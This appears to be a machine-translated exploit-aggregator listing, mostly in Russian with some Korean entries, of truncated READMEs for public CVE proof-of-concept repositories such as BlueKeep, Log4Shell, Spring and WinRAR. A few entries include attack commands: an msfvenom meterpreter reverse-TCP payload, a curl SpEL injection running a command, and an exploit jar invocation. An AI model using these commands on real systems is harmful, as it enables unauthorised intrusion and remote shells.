CVE-2019-0708

CVE-2019-0708 Часть, вызывающая «синий экран смерти» BSOD, была намеренно удалена! Уязвимость удаленного выполнения кода существует в службах удаленных рабочих столов Remote Desktop Services – ранее известных как терминальные службы Terminal Services – когда неаутентифицированный злоумышленник...

CVE-2025-32433

CVE-2025-32433 Критическая уязвимость в SSH-сервере Erlang/OTP позволяет выполнить удаленный код без аутентификации RCE. Дефект существует в механизме обработки сообщений протокола SSH, что позволяет злоумышленникам выполнять произвольные команды без необходимости в учетных данных для...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ удаленное выполнение кода уязвимость CVE-2023-33246 Exploit Использование: root@kitploit: java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "open -a Calculator" Особенности этого инструмента Из-за механизма поддержания активности heartbeat, который инициирует...

CVE-2022-24637

CVE-2022-24637 Эксплойт для неаутентифицированного RCE в Open Web Analytics OWA 1.7.3. Данная работа основана на https://devel0pment.de/?p=2494. ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот скрипт создан для аудита безопасности систем. Используйте этот скрипт только на своих собственных системах или на система...

CVE-2022-0848-RCE

CVE-2022-0848 Удаленное выполнение кода RCE в part-db 0.5.11 Измените хост в bash-файле и запустите, затем получите оболочку через RCE...

CVE-2024-46538

Спасибоphysicszq, который обнаружил эту уязвимость. CVE-2024-46538 ★ CVE-2024-46538 Хранимая XSS в PfSense, приводящая к выполнению произвольного кода PoC ★ Description CVE-2024-46538 : Уязвимость хранимой XSS в PfSense описание: Уязвимость межсайтового скриптинга XSS в pfsense v2.5.2 позволяет...

CVE-2020-15227

CVE-2020-15227 면책 조항! 실제 환경에서 사용하는 것에 대한 책임을 지지 않으므로 절대 하지 마십시오. 이 도구는 단지 시연 및 시스템 관리자를 위한 테스트 용도입니다. 이 익스플로잇은 David GrudlNette 재단 설립자의 CVE 공개에 따라 제작했습니다. 보안 연구원으로서 저는 작은 괴물을 개발했습니다물론 교육 및 시연 목적이며, 윤리적 이유로 자동 수정 기능도 만들었습니다. 이 보안 취약점은 nette.micro의 callback 매개변수를 악용합니다. 왜 이런 쓰레기가 존재하는지 모르겠습니다백도어 기능...

CVE-2022-30024

CVE-2022-30024 Tplink wr841 v10 rce эксплойт ⚠️ Отказ от ответственности Код в этом репозитории предоставляется как есть только в образовательных целях и для исследований в области защитной безопасности. Используйте его только на системах, которыми вы владеете или на тестирование которых у вас ест...

CVE-2022-22947

CVE-2022-22947 Описание CVE-2022-22947 Уязвимость удаленного выполнения кода в Spring Cloud Gateway CVE-2022-22947 возникает в конечной точке Actuator приложения Spring Cloud Gateway, которая при включении, открытии и небезопасной конфигурации подвержена инъекции кода. Злоумышленник может с помощ...

SnatchBox

SnatchBox SnatchBox CVE-2020-27935 — это уязвимость побега из песочницы, затрагивающая macOS до версии 10.15, а также ранние бета-версии macOS 11.0. Наиболее значимое влияние SnatchBox заключается в том, что она позволяет вредоносному издателю обойти обязательную песочницу Mac App Store и получит...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-Доказательство-концепции Chamilo LMS Неаутентифицированная загрузка большого файла, позволяющая удаленное выполнение кода КОД СОЗДАН И ИСПОЛЬЗУЕТСЯ ДЛЯ HACKTHEBOX CTF PERMX Неаутентифицированная загрузка файла в функционале загрузки больших файлов в...

CVE-2018-20250

Настройка Видео демонстрация: https://youtu.be/5tuWsi1tGS0 Виртуальная машина VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Шаги выполнения Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe...

LibSSH-exploit

LibSSH-эксплойт CVE-2018-10933 Уязвимые ssh-серверы - libssh до версии 0.8.4 Отправляет сообщение об авторизации пользователя, что позволяет выполнить удаленный код RCE Использование: ''' Libsshexploit.py '''...

CVE-2025-55182-React2Shell-RCE

CVE-2025-55182 - React2Shell Неаутентифицированное RCE в React Server Components CVE-2025-55182, также известный как React2Shell , представляет собой критическую уязвимость неаутентифицированного удалённого выполнения кода RCE , затрагивающую пакеты React Server Components версии 19.0, 19.1.0,...

CVE-2021-44228-example

Это пример эксплуатации CVE-2021-44228 RCE-уязвимость в Log4J2 Я не несу ответственности за этот код. ПОЖАЛУЙСТА, не используйте во вред CVE-2021-44228 : Эта уязвимость позволяет выполнять произвольный код при логировании вредоносного сообщения на целевой машине. Например, вы можете использовать ...

Flowise-CVE-2026-58057-exploit

Flowise CVE-2026-58057 - Эксплойт удаленного выполнения кода на Windows -orange?style=for...

CVE-2022-22963-PoC

CVE-2022-22963 원격 코드 실행 개념 증명 org.springframework.cloud:spring-cloud-function-core에서 CVE-2022-22963 원격 코드 실행을 재현하기 위한 최소 예제입니다. 익스플로잇 서버 실행 root@kitploit: mvn spring-boot:run 요청 보내기 root@kitploit: curl -X POST -H 'spring.cloud.function.routing-expression: Tjava.lang.Runtime.getRuntime.exec"touch...

CVE-2020-27955-LFS

Эксплуатация удаленного выполнения кода RCE в Git-lfs CVE-2020-27955 .bat / powershell версия Уязвимые: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken и др. Обнаружено Dawid Golunski https://legalhackers.com https://exploitbox.io Протестировано на Windows...

Assignement_3-CVE-2017-7269

CVE-2017-7269 Имя : Killian Munt-Buron и Naji Ullah Abbasi Описание CVE CVE-2017-7269 — это уязвимость переполнения буфера в Microsoft Windows Server 2003 R2. Уязвимость находится в функции ScStoragePathFromUrl в WebDAV. Эта уязвимость позволяет выполнять произвольный код через длинный заголовок...

CVE-2022-22965-PoC

CVE-2022-22965 PoC CVE-2022-22965 Spring RCE를 재현하는 최소 예제입니다. Docker Compose로 실행하기 1. Docker Compose를 사용하여 애플리케이션 빌드 root@kitploit: docker-compose up --build 2. 앱을 테스트하려면 http://localhost:8080/handling-form-submission-complete/greeting로 이동 3. 익스플로잇 실행 root@kitploit: ./exploits/run.sh 4. 익스플로잇이 웹 서...